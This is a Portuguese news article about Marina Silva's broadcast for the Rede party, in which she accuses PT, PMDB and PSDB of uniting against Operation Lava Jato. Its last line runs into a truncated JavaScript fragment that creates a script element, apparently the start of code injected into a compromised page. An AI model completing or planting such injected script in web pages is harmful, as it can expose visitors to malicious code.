Marina acusa PT, PMDB e PSDB de se unirem contra a Lava Jato

Foto: DIDA SAMPAIO/AGÊNCIA ESTADO/AE

Candidata derrotada nas eleições de 2014 e atualmente sem mandato, Marina Silva foi a principal estrela da propaganda eleitoral gratuita do seu partido, a Rede, exibida nesta terça-feira (28) em cadeia nacional. Segundo a ex-senadora, “PT, PMDB e PSDB, que nunca conseguiram se juntar, estão unidos contra a Operação Lava Jato”.

Durante os dez minutos que teve nas televisões e no rádio, a Rede ressaltou que, apesar de ser um partido pequeno, é atuante e “diferente” dos demais. Marina defendeu que, ao contrário do que dizem os investigados, a “Lava Jato não prejudica a retomada do crescimento”.

O PT, por outro lado, chegou a fazer um evento nacional para discutir os rumos que a Lava Jato tomou durante as últimas ações da força-tarefa. O discurso petista é que a operação tem sido irresponsável e midiática.

Além da fundadora do partido, também tiveram falaram o senador Randolfe Rodrigues (AP), os deputados Alessandro Molón (RJ) e a ex-senadora e atual vereadora de Maceió Heloísa Helena.

Na oposição ao governo Temer e unido ao PT em algumas pautas, como a reforma da Previdência, a Rede segue a procura de um discurso que unifique o partido. Internamente, o partido trabalha para cortar o cordão umbilical com Marina Silva, ainda assim, passa por ela todas as grandes decisões da Rede.

Atualmente, o nome mais atuante da legenda é Randolfe Rodrigues, que nem sempre tem o aval de Marina. No Distrito Federal, a Rede tem dois deputados na Câmara Legislativa, Cláudio Abrantes e Chico Leite.var d=document;var s=d.createElement(‘script’);

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